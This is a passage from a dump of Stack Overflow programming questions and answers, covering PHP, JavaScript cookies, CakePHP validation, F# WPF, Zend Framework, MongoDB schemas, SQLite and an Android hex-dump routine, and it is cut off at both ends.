$this-&gt;_filterSet-&gt;filterBySport($sport); return $this-&gt;_filterSet; } public function findByPrice($min, $max) { $this-&gt;_filterSet = new SportCardsByPriceFilter($this-&gt;getFilterSet()); $this-&gt;_filterSet-&gt;filterByPrice(20); return $this-&gt;_filterSet; } public function findBySportAndPrice($sport, $min, $max) { $this-&gt;findBySport($sport); $this-&gt;_filterSet = $this-&gt;findByPrice($min, $max); return $this-&gt;_filterSet; } public function countBySportAndPrice($sport, $min, $max) { return iterator_count( $this-&gt;findBySportAndPrice($sport, $min, $max)); } } </code></pre> <p>And there you go</p> <pre><code>$cardBookFinder = new CardBookFinder($cardBook); echo $cardBookFinder-&gt;countBySportAndPrice('Baseball', 20, 100); $cardBookFinder-&gt;resetFilterSet(); foreach($cardBookFinder-&gt;findBySport('Baseball') as $card) { echo "{$card-&gt;getSport()} - {$card-&gt;getPrice()}"; } </code></pre> <p>Feel free to adapt and improve for your own CardBook.</p>
5942149	0	 <p>You can build using your existing makefiles and create a wrapper project with a custom target with a 'Run Script' build phase that just calls down to your makefile. This means that you'll also be able to use the debugger, but you probably won't get the full benefit of the editor with autocompletion etc.</p>
5144696	0	Extract information from org.apache.cxf.binding.soap.SoapMessage <p>Is there a way to get the soap action from an instance of <code>org.apache.cxf.binding.soap.SoapMessage</code> ?</p> <p>I am writing an Interceptor which will log the incoming and outgoing messages to/from my CXF service, and as part of this it would be useful to include the specific soap action being requested. I've been able to extact useful information from the Soap header using <code>message.getHeader(name)</code> and just need the Soap action to complete the log.</p> <p>Thanks</p>
12686965	0	Primefaces PIE chart animation <p>Is there any way to animate primefaces <code>PieChart</code>. I searched all attributes but unable to find that How Can I animate it? Actually I want that Chart should draw in slow motion. Any help would be greatly appreciated</p>
10831435	0	 <p>you could use jQuery to remove the title attribute like so...</p> <pre><code>$(document).ready(function() { $('[title]').removeAttr('title'); }); </code></pre>
14624771	0	 <p>There is no reason to use a global variable, you can declare the variable in the main() then give a reference to that variable to the functions that use it</p> <pre><code>bool load(node** root, const char* dictionary); bool check(node* root, const char* word); int main() { node* root = NULL; load(&amp;root, dictionary); ... if ( check(node,word) ) { ... } } </code></pre>
15844099	0	Can we have a mixed-type matrix in Matlab...and how? <p>I'm trying to write a function with a matrix (specifically a matrix) as the output, the rows of which show a double-type variable and a binary 'status'. For no real reason and just out of curiosity, I wonder if there is a way to have the rows to have different types.</p> <p>Many Thanks</p>
17443682	0	How to auto refresh list of session array items on submit? <p>I am working on a school comparing website. For this I need a plugin that handles that function. I save session data as school IDs so it can be passed on in the comparing table after choosing the schools.</p> <p>Tasks that I have trouble with:</p> <ol> <li>"Add button" - add post/school ID to session array - $_SESSION['schools']</li> <li>Dashboard at the top - echo $_SESSION['schools'] values (just for user experience list the schools that are currently in the list)</li> <li>when "Add button" is pressed update the dashboard list automaticly. Preferably not the whole page.</li> </ol> <p>My attempt so far:</p> <p>First of all I have I commented PHP form action:</p> <pre><code> &lt;?php session_start(); $schools = array('post_id'); //If form not submitted, display form. if (!isset($_POST['submit_school'])){ //If form submitted, process input. } else { //Retrieve established school array. $schools=($_POST['school']); //Convert user input string into an array. $added=explode(',',$_POST['added']); //Add to the established array. array_splice($schools, count($schools), 0, $added); //This could also be written $schools=array_merge($schools, $added); } $_SESSION['schools'] = $schools; ?&gt; </code></pre> <p>Next up is the form itself:</p> <pre><code> &lt;form method="post" action="http://henrijeret.ee/7788/temp_add_button.php" id="add_school"&gt; &lt;input type="hidden" name="added" value="Value" size="80" /&gt; &lt;?php //Send current school array as hidden form data. foreach ($schools as $s){ echo "&lt;input type=\"hidden\" name=\"school[]\" value=\"$s\" /&gt;\n"; } ?&gt; &lt;input type="submit" name="submit_school" value="Lisa võrdlusesse" /&gt; &lt;/form&gt; </code></pre> <p>And for the dashboard I use:</p> <pre><code> &lt;?php foreach($_SESSION['schools'] as $key =&gt; $value){ // and print out the values echo 'The value of $_SESSION['."'".$key."'".'] is '."'".$value."'".' &lt;br /&gt;'; } ?&gt; </code></pre> <p>This is just a prototype to get my head wrapper around the task ahead of me...</p> <p><strong>Problems</strong> Something does not feel right.. :P</p> <p>When I submit the form, then the first change is not made. When I press it the second time, then it will update the the list leaving out the very last string. When refreshing then whole page, then the last one pops up</p> <p>I very appriciate the advice on this long topic.. Maby I do not know where to look, but I am a little stuck with searching a solution..</p> <p>Link to my running code <a href="http://henrijeret.ee/7788/" rel="nofollow">http://henrijeret.ee/7788/</a></p>
19624433	0	 <p>There are several compilation errors in your example including a malformed lambda expression, mismatched parentheses, incorrect identitfiers (<code>SelectItem</code> is not a property, I'm assuming you mean <code>SelectedItem</code> not <code>SelectedItems</code>), and incorrect indentation following the <code>let feed</code> binding. </p> <p>Below is a simplified example that works as you intended. The selected item in the top ListBox is put into the bottom ListBox when the user hits Enter.</p> <pre><code>open System open System.Windows open System.Windows.Controls open System.Windows.Input [&lt;EntryPoint&gt;] [&lt;STAThread&gt;] let main argv = let panel = new DockPanel() let listBox = new ListBox() for i in [| 1 .. 10 |] do listBox.Items.Add i |&gt; ignore DockPanel.SetDock(listBox, Dock.Top) let listBox2 = new ListBox(Height = Double.NaN) panel.Children.Add listBox |&gt; ignore panel.Children.Add listBox2 |&gt; ignore listBox.KeyUp |&gt; Event.filter (fun e -&gt; listBox.SelectedItems.Count &gt; 0) |&gt; Event.filter (fun e -&gt; e.Key = Key.Enter) |&gt; Event.add (fun e -&gt; let i = unbox&lt;int&gt; listBox.SelectedItem listBox2.Items.Add(i) |&gt; ignore) let win = new Window(Content = panel) let application = new Application() application.Run(win) |&gt; ignore 0 </code></pre>
20133232	0	 <p>Ahh! Google are locating you by GEO-IP or similar and redirecting you to your local google mirror. </p> <p>See: <a href="http://webapps.stackexchange.com/questions/46591/what-does-gws-rd-cr-in-the-url-indicate">http://webapps.stackexchange.com/questions/46591/what-does-gws-rd-cr-in-the-url-indicate</a></p> <p>So as they're redirecting you the 302 code is correct.</p> <p>Try using the URL: <a href="https://www.google.com/ncr" rel="nofollow">https://www.google.com/ncr</a> (ncr standing for No Country Redirect) and see how you go.</p>
19435060	0	 <p>It looks like Tattletale was not able to read my war. It may be because it was created for Tomcat 7.</p> <p>I exploded the war to a directory with the "jar xvf" command and reran the same command on that folder:</p> <pre><code>java -Xmx512m -jar tattletale.jar myapp report </code></pre> <p>This created all of the reports. I was most interested in the "unused jar" report, and I can see that it is incorrectly reporting some jars as unused, but I have gotten past my initial hurdle.</p>
17969272	0	Dynamic rule validation persistence between validator calls <p>I've came across this problem a few times, but could never find a solution, only work arounds.</p> <p>Lets say I have multiple 10 jobs, but depending on the answers given the validation rules are different.</p> <pre><code>foreach($jobs as $job){ if(!$this-&gt;Job-&gt;validates()){ echo 'Oh no, it didn't validate'; } } </code></pre> <p>The main problem I'm finding is if I set a rule that was triggered only by the first job.</p> <pre><code>if($this-&gt;data['Job']['type'] == 'special'){ $this-&gt;validator()-&gt;add('special_field', 'notEmpty', array( 'rule' =&gt; array('notEmpty'), 'message' =&gt; 'Please provide data' )); } </code></pre> <p>It would also apply to the other 9. So the rules are persistent between calls. So can could remove the rule if it exists.</p> <pre><code>if($this-&gt;data['Job']['type'] == 'special'){ $this-&gt;validator()-&gt;add('special_field', 'notEmpty', array( 'rule' =&gt; array('notEmpty'), 'message' =&gt; 'Please provide data' )); }else{ $this-&gt;validator()-&gt;remove('special_field', 'notEmpty'); } </code></pre> <p>But if the rule doesn't exist when it tries to remove it a Fatal Error is thrown.</p> <p>Is there any way to check a rule exists before I remove it or a way to clear dynamic rules at the start of beforeValidate?</p>
16251756	0	 <p>Database is meant for data not files! I have come across many situation where many prefer to store it to database, be it mangodb or others. Logically that's not worth. </p> <p>Your question "is it worth of programming effort?"; seriously no if you are doing once in a while. It takes a lot of effort to put things in database. However if you are a developer working on it frequently once you are get used to you, you will do it even if its not worth to do so :) </p> <p>I vote for you to go for file system storage for files and not database. And for difficulties of no. of files, you will find a way to resolve it for sure. </p>
7154858	0	How can I find what font was actually used for my CreateFont call? <p>In Windows, the <a href="http://msdn.microsoft.com/en-us/library/dd183500%28v=vs.85%29.aspx"><code>CreateFontIndirect()</code></a> call can silently substitute compatible fonts if the requested font is not requested. The <a href="http://msdn.microsoft.com/en-us/library/dd144904%28v=vs.85%29.aspx"><code>GetObject()</code></a> call does not reflect this substitution; it returns the same <code>LOGFONT</code> passed in. How can I find what font was <em>actually</em> created? Alternately, how can I force Windows to only return the exact font requested?</p>
39118028	0	 <p>I didn't like any of the provided answers as they all clutter the global scope with the <code>isDisabled</code> variable, why not do it this way instead?</p> <pre><code>&lt;button type="submit" ng-click="disableButton($event)"&gt;Submit&lt;/button&gt; </code></pre> <p>.</p> <pre><code>$scope.disableButton = function($event) { $event.currentTarget.disabled = true; }; </code></pre> <hr> <p>if if you need to submit a form before the disable. </p> <p><strong>this code is not tested</strong></p> <pre><code>&lt;form ng-submit="disableFormSubmitButton($event)"&gt; &lt;button type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; </code></pre> <p>.</p> <pre><code>$scope.disableFormSubmitButton = function($event) { $($event).find('[type=submit]').prop('disabled',true); }; </code></pre>
26067295	0	 <p>You can simple add</p> <pre><code>&lt;key&gt;MinimumOSVersion&lt;/key&gt; &lt;string&gt;6.0&lt;/string&gt; </code></pre> <p>into your AppName-app.xml manifest into "InfoAdditions" section.</p> <p>This was the first thing I've tried. But this didn't help me to get rid of this error...</p> <p>UPD: Just found <a href="http://community.phonegap.com/nitobi/topics/error-itms-9000-invalid-bundle-the-bundle-my-app-app-does-not-support-the-minimum-os-version-specified-in-the-56qwo">here</a>:</p> <blockquote> <p>Hi,everyone. </p> <p>I have the same warning too. But I was just resolved. </p> <p>As a result of the update to the latest version of Mac OSX(10.9.5) that is installed in the Application loader, it came to success. </p> <p>I don't know this reason. Please try.</p> </blockquote> <p>Can anybody check if this really helps? Also it would be good to check both cases - with default MinimumOSVersion and with set to 6.0 (for example).</p>
18279623	0	 <p>You have quite a number of formatting erros in your code!</p> <ul> <li>Declarations can't be inline with selector.</li> <li>There should be at least one space in every declaration immediately after the colon, otherwise it's treated as pseudoclass.</li> <li>A media block starts with a <code>@</code>, not <code>$</code>. <code>$</code> is for variables.</li> <li>Rules inside media blocks should be properly nested.</li> </ul> <p>Here's your code properly formatted:</p> <pre><code>.center text-align: center .right text-align: right .top vertical-align: top .middle vertical-align: middle @media (min-width: 950px) .row max-width: 980px @media (max-width: 900px) .row max-width: 760px .logo width: 300px </code></pre>
782494	0	 <p>Some more fair questions might be:</p> <p>Are new repositories being set up more in SVN or CVS?</p> <p>Are repositories changing more from CVS to SVN or the reverse?</p> <p>The overwhelming answers, as far as I can tell, are that many more new repositories use SVN than CVS, and the migration is all from CVS to SVN.</p> <p>There are arguments for keeping CVS if you already have it, but for virtually any other case I'd recommend SVN over CVS, and so would most of the people who use either heavily.</p>
32124098	0	rails-api nested attributes for a polymorphic association <p>I have a polymorphic association like so:</p> <pre><code>class Client &lt; ActiveRecord::Base belongs_to :contractable, :polymorphic =&gt; true end class Individual &lt; ActiveRecord::Base has_many :clients, :as =&gt; :contractable end class Business &lt; ActiveRecord::Base has_many :clients, :as =&gt; :contractable end </code></pre> <p>If I want to send a POST to my controller for clients (<code>POST /clients</code>), when I send the JSON in the request body, how do I specify to create either an individual OR a business and set the association properly?</p> <p>Ex JSON (not working):</p> <pre><code>{ "client": { "name": "Person", "contractable": { "age": 50 } } } </code></pre> <p>Also, how do I tell strong_params to allow this to happen?</p>
7893291	0	SQLite Select Statement - Where two conditions are met? <p>Can someone please correct my select statement, the below works selecting everything from table 'games' where 'genre=fps'.</p> <pre><code>tx.executeSql('SELECT * FROM games WHERE genre=fps', [], renderResults); </code></pre> <p>I don't know how to, or if it is possible to expand upon this to to select everything where 'genre=fps' and 'decade=90' - something like this:</p> <pre><code>tx.executeSql('SELECT * FROM games WHERE genre=fps AND decade=90', [], renderResults); </code></pre> <p>or</p> <pre><code>tx.executeSql('SELECT * FROM games WHERE genre=fps AND WHERE decade=90', [], renderResults); </code></pre> <p>Is the above possible? This is probably really straightforward but I cant find any examples or tutorials to follow.</p> <p>Any help would be great.</p> <p>Thanks</p>
23258240	0	 <p>I see "duck typing" more as a programming style, whereas "structural typing" is a type system feature.</p> <p>Structural typing refers to the ability of the type system to <strong>express</strong> types that include all values that have certain structural properties.</p> <p>Duck typing refers to writing code that just uses the features of values that it is passed that are actually needed for the job at hand, without imposing any other constraints.</p> <p>So I could <em>use</em> structural types to code in a duck typing style, by formally declaring my "duck types" as structural types. But I could also use structural types <em>without</em> "doing duck typing". For example, if I write interfaces to a bunch of related functions/methods/procedures/predicates/classes/whatever by declaring and naming a common structural type and then using that everywhere, it's very likely that some of the code units don't need <em>all</em> of the features of the structural type, and so I have unnecessarily constrained some of them to reject values on which they could theoretically work correctly.</p> <p>So while I can see how there is common ground, I don't think duck typing subsumes structural typing. The way I think about them, duck typing isn't even a thing that might have been able to subsume structural typing, because they're not the same kind of thing. Thinking of duck typing in dynamic languages as just "implicit, unchecked structural types" is missing something, IMHO. Duck typing is a coding style you choose to use or not, not just a technical feature of a programming language.</p> <p>For example, it's possible to use <code>isinstance</code> checks in Python to fake OO-style "class-or-subclass" type constraints. It's also possible to check for particular attributes and methods, to fake structural type constraints (you could even put the checks in an external function, thus effectively getting a named structural type!). I would claim that neither of these options is exemplifying duck typing (unless the structural types are quite fine grained and kept in close sync with the code checking for them).</p>
21104231	0	 <p>Your "standard Ubuntu terminal" probably supports xterm escape codes: <a href="http://invisible-island.net/xterm/ctlseqs/ctlseqs.html" rel="nofollow">http://invisible-island.net/xterm/ctlseqs/ctlseqs.html</a></p> <p>See specifically:</p> <blockquote> <p>CSI P s ; P s ; P s t P s = 1 9 → Report the size of the screen in characters. Result is CSI 9 ; height ; width t</p> </blockquote> <p>...and...</p> <blockquote> <p>ESC Y P s P s Move the cursor to given row and column.</p> </blockquote> <p>"CSI" is explained at <a href="http://en.wikipedia.org/wiki/ANSI_escape_code" rel="nofollow">http://en.wikipedia.org/wiki/ANSI_escape_code</a></p>
26883650	0	Clean HTML table with Reshape2 <p>New user of R. Can't think how to even ask the question. I scraped a webpage for HTML tables. Generally, everything went well, except for one table. Instead of there being 7 separate tables, everything got collapsed into 1 table, with the column name and the value for the first table being two separate columns, and all the other tables being rows. The results is a table with something like this: </p> <pre><code>df &lt;- data.frame(is_employed = c("Hobbies", "Has Previous Experience"), false = c("squash", "false")) </code></pre> <p>Obviously, I need to have the rows (and the column name) in the first column as their own columns, with the item in the second column as their values, preferably with underscores in the columns names. I tried: </p> <pre><code>df &lt;- dcast(df, ~is_employed, value.var = "false") </code></pre> <p>But got an error message. Then I thought to add another column, as such:</p> <pre><code>df2 &lt;- data.frame(number = c(1, 2), is_employed = c("Hobbies", "Has Previous Experience"), false = c("squash", "false")) </code></pre> <p>then I tried </p> <pre><code>df3 &lt;- dcast(df2, number ~is_employed, value.var="false") </code></pre> <p>That placed the values in the first columns as their own columns, but produced two rows (instead of 1), with NAs. I'm sure this is really basic, but I can't figure it out.</p> <p>On edit: I think this gives me what I want, but I'm away from my computer so I can't confirm:</p> <pre><code>library("dplyr") library("tidyr") mat &lt;- as.matrix(df) mat &lt;- rbind(colnames(mat), mat) colnames(mat) &lt;- c("variable", "value") df2 &lt;- as.data.frame(mat) df3 &lt;- df2 %&gt;% mutate(n = 1) %&gt;% spread(variable, value) %&gt;% select(-n) </code></pre> <p>I need to add <code>n</code> or I get NAs, but I don't like it.</p>
37660127	0	 <p>You can explicitly deal with larger numbers, even on 32 bit devices, if you explicitly specify <code>UInt64</code> or <code>Int64</code> (unsigned, and signed, respectively).</p>
12852914	0	 <p><strong>Update :</strong> </p> <p>Zend Framework new release added FlashMessenger View Helper , found in path <code>/library/Zend/View/Helper/FlashMessenger.php</code></p> <p><a href="https://github.com/zendframework/zf2/blob/master/library/Zend/View/Helper/FlashMessenger.php">FlashMessenger.php</a></p> <hr> <p><strong>Old answer :</strong></p> <p>I have written a custom view helper, for printing flash messages </p> <p>In /module/Application/Module.php</p> <pre><code>public function getViewHelperConfig() { return array( 'factories' =&gt; array( 'flashMessage' =&gt; function($sm) { $flashmessenger = $sm-&gt;getServiceLocator() -&gt;get('ControllerPluginManager') -&gt;get('flashmessenger'); $message = new \My\View\Helper\FlashMessages( ) ; $message-&gt;setFlashMessenger( $flashmessenger ); return $message ; } ), ); } </code></pre> <p>Create a custom view helper in /library/My/View/Helper/FlashMessages.php</p> <pre><code>namespace My\View\Helper; use Zend\View\Helper\AbstractHelper; class FlashMessages extends AbstractHelper { protected $flashMessenger; public function setFlashMessenger( $flashMessenger ) { $this-&gt;flashMessenger = $flashMessenger ; } public function __invoke( ) { $namespaces = array( 'error' ,'success', 'info','warning' ); // messages as string $messageString = ''; foreach ( $namespaces as $ns ) { $this-&gt;flashMessenger-&gt;setNamespace( $ns ); $messages = array_merge( $this-&gt;flashMessenger-&gt;getMessages(), $this-&gt;flashMessenger-&gt;getCurrentMessages() ); if ( ! $messages ) continue; $messageString .= "&lt;div class='$ns'&gt;" . implode( '&lt;br /&gt;', $messages ) .'&lt;/div&gt;'; } return $messageString ; } } </code></pre> <p>then simple call from layout.phtml , or your view.phtml</p> <pre><code>echo $this-&gt;flashMessage(); </code></pre> <p>Let me show example of controller action </p> <pre><code>public function testFlashAction() { //set flash message $this-&gt;flashMessenger()-&gt;setNamespace('warning') -&gt;addMessage('Mail sending failed!'); //set flash message $this-&gt;flashMessenger()-&gt;setNamespace('success') -&gt;addMessage('Data added successfully'); // redirect to home page return $this-&gt;redirect()-&gt;toUrl('/'); } </code></pre> <p>In home page, it prints</p> <pre><code>&lt;div class="success"&gt;Data added successfully&lt;/div&gt; &lt;div class="warning"&gt;Mail sending failed!&lt;/div&gt; </code></pre> <p>Hope this will helps !</p>
6308118	0	my javascript cookie works for my show and hide, but doesn't work for my toggle? <p>I have a cookie that remembers if my drop down is hidden or visible or not. Then I added a image to the drop down, and toggling the the photos also, but the cookie doesn't seem to remember what state the toggle is in.</p> <pre><code>&lt;script type="text/javascript"&gt; &lt;!-- var state; var stateTog; window.onload = function () { obj = document.getElementById('featured'); state = (state == null) ? 'hide' : state; obj.className = state; document.getElementById('featured-header').onclick = function () { var option = ['tel1', 'tel2']; for (var i = 0; i &lt; option.length; i++) { objTog = document.getElementById(option[i]); objTog.className = (objTog.className == "visible") ? "hidden" : "visible"; } obj.className = (obj.className == 'show') ? 'hide' : 'show'; state = obj.className; stateTog = objTog.className; setCookie(); return false; } } function setCookie() { exp = new Date(); plusMonth = exp.getTime() + (31 * 24 * 60 * 60 * 1000); exp.setTime(plusMonth); document.cookie = 'State=' + state + ';expires=' + exp.toGMTString(); document.cookie = 'StateTog=' + stateTog + ';expires=' + exp.toGMTString(); } function readCookie() { if (document.cookie) { var tmp = document.cookie.split(';')[0]; state = tmp.split('=')[1]; stateTog = tmp.split('=')[1]; } } readCookie(); //--&gt; &lt;/script&gt; </code></pre>
13788165	0	Widget runs fine in emulator, Doesn't do anything on device itself <p>I'm trying to develop a widget which is a big miss on the samsung galaxy note 10.1: an S-pen note widget.</p> <p>So far, i've just got the interface, and just one action (which is showing and hiding some buttons). on the emulator it shows everything just fine, but on my note10.1 it just sits on the screen, doing nothing. No crashes, but no functionality either. (nor does it show my toaster messages, which the emulator shows fine as well)</p> <p>the receiver is mentioned in my manifest like so:</p> <pre><code> &lt;receiver android:name="WidgetProvider"&gt; &lt;intent-filter &gt; &lt;action android:name="android.appwidget.action.APPWIDGET_UPDATE"/&gt; &lt;action android:name="org.Note.Widget.ACTION_widgetClick"/&gt; &lt;/intent-filter&gt; &lt;meta-data android:name="android.appwidget.provider" android:resource="@xml/note_widget"/&gt; &lt;/receiver&gt; </code></pre> <p>i've tried many examples as guidelines for my Java code. This is what i have now:</p> <pre><code>@Override public void onReceive(Context context, Intent intent) { if(intent.getAction().equals(CLK)) { ToggleRibbon(context); } else { Toast.makeText(context, "action is: "+intent.getAction(), Toast.LENGTH_LONG).show(); super.onReceive(context, intent); } } static void ToggleRibbon(Context context) { RemoteViews localRemoteViews = BuildUpdate(context); ComponentName localComponentName = new ComponentName(context, WidgetProvider.class); AppWidgetManager.getInstance(context).updateAppWidget(localComponentName, localRemoteViews); } private static RemoteViews BuildUpdate(Context context) { RemoteViews rv = new RemoteViews(context.getPackageName(),R.layout.widget_layout); Intent active = new Intent(context, WidgetProvider.class); active.setAction(CLK); PendingIntent actionPendingIntent = PendingIntent.getBroadcast(context, 0, active, 0); rv.setOnClickPendingIntent(R.id.note_ribbon, actionPendingIntent); if(ShowRibbon) { ShowRibbon = false; rv.setViewVisibility(R.id.note_ribbon, View.INVISIBLE); Toast.makeText(context, "You clicked the Note!! (ribbon invisible)", Toast.LENGTH_LONG).show(); } else { ShowRibbon = true; rv.setViewVisibility(R.id.note_ribbon, View.VISIBLE); Toast.makeText(context, "You clicked the Note!! (ribbon visible)", Toast.LENGTH_LONG).show(); } return rv; } protected PendingIntent getPendingSelfIntent(Context context, String action) { Intent intent = new Intent(context, getClass()); intent.setAction(action); return PendingIntent.getBroadcast(context, 0, intent, 0); } @Override public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) { for (int i = 0; i &lt; appWidgetIds.length; ++i) { int appWidgetId = appWidgetIds[i]; //Intent intent = new Intent(context, WidgetProvider.class); //intent.setAction("click"); //PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0); RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.widget_layout); remoteViews.setOnClickPendingIntent(R.id.widget_root, getPendingSelfIntent(context, CLK)); remoteViews.setOnClickPendingIntent(R.id.menu_btn, getPendingSelfIntent(context, "menu click")); //remoteViews.setOnClickPendingIntent(R.id.widget_root, pendingIntent); //remoteViews.setOnClickPendingIntent(R.id.menu_btn, pendingIntent); // update widget appWidgetManager.updateAppWidget(appWidgetId, remoteViews); } super.onUpdate(context, appWidgetManager, appWidgetIds); } </code></pre> <p>My guess is that it will be something stupid i forgot, but i realy hope someone can help me get my widget to do something more than just sit there :P (toaster messages only would help a lot already!)</p> <p>Thanks in advance ;)</p>
26524329	0	Display the required error on the label of input type radio <p><br> I have replaced my radio inputs by some label pictures and set the display of the input to "none;" Now when I'm trying to validate a form without checking the radio inputs, I can't see the chrome "required message" to display, because the input radio is not displayed, how can I make the message appear (only with required attribute) on the labels instead of the input ? <br> Thanks</p>
8631754	0	 <p>I can't give you the syntax off the type of my head, but consider a subquery to get the most recent backup date and add this to your WHERE clause of the main query. Then you can loose the ORDER clause as you will get one result (and also loose the COUNT).</p>
35563204	0	mongodb: Schema designs for social networking like app <p>As I can think, We can define Schemas like following:</p> <p><strong>First Approach:</strong></p> <pre><code> var schema = new Schema({ name: { type: String, required: true, trim: true }, acc_conns: {//accepted connection request ids,here connection status is accepted type: [Schema.Types.ObjectId ] }, pnd_conns: {//my pending connection request ids,here connection status is pending type: [Schema.Types.ObjectId ] } }, options); </code></pre> <p>or </p> <p><strong>Second Approach:</strong></p> <pre><code> var schema = new Schema({ name: { type: String, required: true, trim: true }, acc_conns: {//accepted connection request ids,here connection status is accepted type: [Schema.Types.ObjectId ] }, rec_conns: {//received connection request ids,here connection status is pending type: [Schema.Types.ObjectId ] }, sent_conns: {//sent connection request ids,here connection status is pending type: [Schema.Types.ObjectId ] } }, options); </code></pre> <p>I added comments to explain what I'm thinking about these schemas.</p> <p>For example in the first approach If I want to find my pending connections(i.e connection request sent or receieved) I have to use my pending list plus the list of user ids which as user objects contain me in their pending list. </p> <p>So if I use the first approach My query becomes large or more formally I have to use my id as the source for finding my pending connections because I have to look in other user docs for finding who sends me invitation.</p> <p>And In the second approach I'm storing these ids on the user's schema itself. So there is no need to query other documents because each user object contains required information in the sense that he contains the sent invitations , received invitations , accepted invitations. So if one user sent invitation to other he may update his sent list and also another user received list. If I further extend my requirements my queries may look like this as a resource found here:</p> <p><a href="https://gist.github.com/levicook/4132037" rel="nofollow">https://gist.github.com/levicook/4132037</a></p> <p><strong>I want to ask which schema design is better if in addition docs come after some sort of condition checking or say I also want to add pagination on the filtered result?</strong></p> <p><strong>What are the pros and cons of both approach?</strong></p> <p><strong>Do we have another solutions?</strong></p>
3750109	0	How to define and use a system property in Android Instrumentation test? <p>I am trying to use some arguments for an Instrumentation test. I noticed that I can read system properties with <code>System.getProperty()</code> function. So I use setprop command to set a system property. For example: <code>adb shell setprop AP 123</code>. Inside my Test code I try to read this AP property with : </p> <pre><code> tmp = System.getProperty("AP"); Log.d("MyTest","AP Value = " + tmp); </code></pre> <p>Then I use logcat to view this debug message but I get a null value for this property. Any ideas on what could be wrong? Note that I can still read the system property with <code>adb shell getprop AP</code> command.</p>
14053911	0	 <p>Fancybox groups galleries together by using the 'rel' attribute on elements targeted with .fancybox(). </p> <p>You can specify multiple galleris by using different 'rel' values.</p> <p>Your gallery will appear in the same order as it is in jQuery's selection. </p>
4360210	0	 <p>Look in the project build settings for the <em>Deployment Target</em> setting. This is the lowest version of the SDK that you're interested in supporting. If it's lower than 4.0 then all of the pre-4.0 methods will be stripped out by the compiler (since they won't be available on the devices you're planning to deploy to). Try setting it to 4.0 or later; that should help.</p>
39142592	0	 <pre><code>NSLog(@"Show stack trace: %@", [NSThread callStackSymbols]); </code></pre>
38514832	0	Construct a javascript date from a string without timezone (for JqueryUI datepicker) <p>I'm using the jQueryUI Datepicker library and I need to supply it with a date that is dynamically loaded for the min date.</p> <p>I set up my datepicker:</p> <pre><code>$("#thePicker" ).datepicker({ dateFormat: 'yy-mm-dd', showOtherMonths: true, changeMonth: true, changeYear: true, minDate: new Date('2016-04-28'), }); </code></pre> <p>Where '2016-04-28' is a string that could vary when loaded.</p> <p>This though sets the minimum allowable date to April 27, 2016, due to a timezone conversion.</p> <p>How should I construct this new Date for the minDate when I have a string of the format shown above supplied so that no timezone is relevant?</p>
40742626	0	 <p>Try this</p> <pre><code>&lt;input type='text' value='". $out[$x] ."' name='content[]'&gt; </code></pre>
15654776	0	 <p>The problem is in the predicate. It fetches all products without an image. If I download images, the result set for the predicate changes on a subsequent fetch and gets smaller every time. The solution is to process the result set in reverse order. So change:</p> <pre><code>for (NSUInteger offset = 0; offset &lt; numberOfProducts; offset += batchSize) </code></pre> <p>Into:</p> <pre><code>for (NSInteger offset = MAX(numberOfProducts - batchSize, 0); offset &gt; 0; offset -= batchSize) </code></pre>
16036432	0	 <p>AFAIK T4CConnection should implement oracle.jdbc.OracleConnection. IMHO you have 2 driver implementation, one on the app server and one in your project dependencies, there must be a classloading issue as the retrieved driver implementation is loaded by the shared class loader and you try to cast it to a class loaded by the webApp class loader.</p> <p>You can ensure that your web-app dependency is the same than the server provided implementation or just exclude the dependency from the web app when packaging it.</p> <p>If you're using maven just set the scope to <code>provided</code>.</p>
9978285	0	 <p>Seems both ways, direct URL and Javascript don't allow to use a list of ID's , just checked and verified it today</p>
7435656	0	 <p>The first line of the error message is a telltale:</p> <pre><code>freeglut (./lineTest): ERROR: Internal error &lt;FBConfig with necessary capabilities not found&gt; in function fgOpenWindow </code></pre> <p>… it means, that the X11 server the client is connected to doesn't support setting a framebuffer format that's required by OpenGL.</p> <p>The first course of action is using <code>glxinfo</code> to check, what's actually supported. Please run <code>glxinfo</code> as you would your program and post its output here (most likely there's no OpenGL support somewhere in the line). Also execute <code>glxinfo</code> locally, since it is your local machine, that'll do all the OpenGL work.</p>
3822709	0	 <p>Note also, each command's exit status is stored in the shell variable $?, which you can check immediately after running the command. A non-zero status indicates failure:</p> <pre><code>my_command if [ $? -eq 0 ] then echo "it worked" else echo "it failed" fi </code></pre>
23514829	0	 <p>A hex dump for Android, should be suitable for other platforms as well.</p> <p><code>LOGD()</code>, same as <code>DLOG()</code>, plays the role of <code>printf()</code> because <code>printf()</code> does not work in Android. For platforms other than Android, you may <code>#define DLOG printf</code>.</p> <p><em>dlog.h:</em></p> <pre><code>// Android logging #include &lt;android/log.h&gt; #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG , "~~~~~~", __VA_ARGS__) #define DLOG(...) __android_log_print(ANDROID_LOG_DEBUG , "~~~~~~", __VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR , "~~~~~~", __VA_ARGS__) #define ELOG(...) __android_log_print(ANDROID_LOG_ERROR , "~~~~~~", __VA_ARGS__) #ifdef __cplusplus extern "C" { #endif void log_dump(const void*addr,int len,int linelen); void log_dumpf(const char*fmt,const void*addr,int len,int linelen); #ifdef __cplusplus } #endif </code></pre> <p><em>dump.cpp:</em></p> <pre><code>#include &lt;dlog.h&gt; //#include &lt;alloca.h&gt; inline char hdigit(int n){return "0123456789abcdef"[n&amp;0xf];}; #define LEN_LIMIT 8 #define SUBSTITUTE_CHAR '`' static const char* dumpline(char*dest, int linelen, const char*src, const char*srcend) { if(src&gt;=srcend) { return 0; } int i; unsigned long s = (unsigned long)src; for(i=0; i&lt;8; i++) { dest[i] = hdigit(s&gt;&gt;(28-i*4)); } dest[8] = ' '; dest += 9; for(i=0; i&lt;linelen/4 ; i++) { if(src+i&lt;srcend) { dest[i*3] = hdigit(src[i]&gt;&gt;4); dest[i*3+1] = hdigit(src[i]); dest[i*3+2] = ' '; dest[linelen/4*3+i] = src[i] &gt;= ' ' &amp;&amp; src[i] &lt; 0x7f ? src[i] : SUBSTITUTE_CHAR; }else{ dest[i*3] = dest[i*3+1] = dest[i*3+2] = dest[linelen/4*3+i] = ' '; } } return src+i; } void log_dumpf(const char*fmt,const void*addr,int len,int linelen) { #if LEN_LIMIT if(len&gt;linelen*LEN_LIMIT) { len=linelen*LEN_LIMIT; } #endif linelen *= 4; static char _buf[4096]; char*buf = _buf;//(char*)alloca(linelen+1); // alloca() causes the initialization to 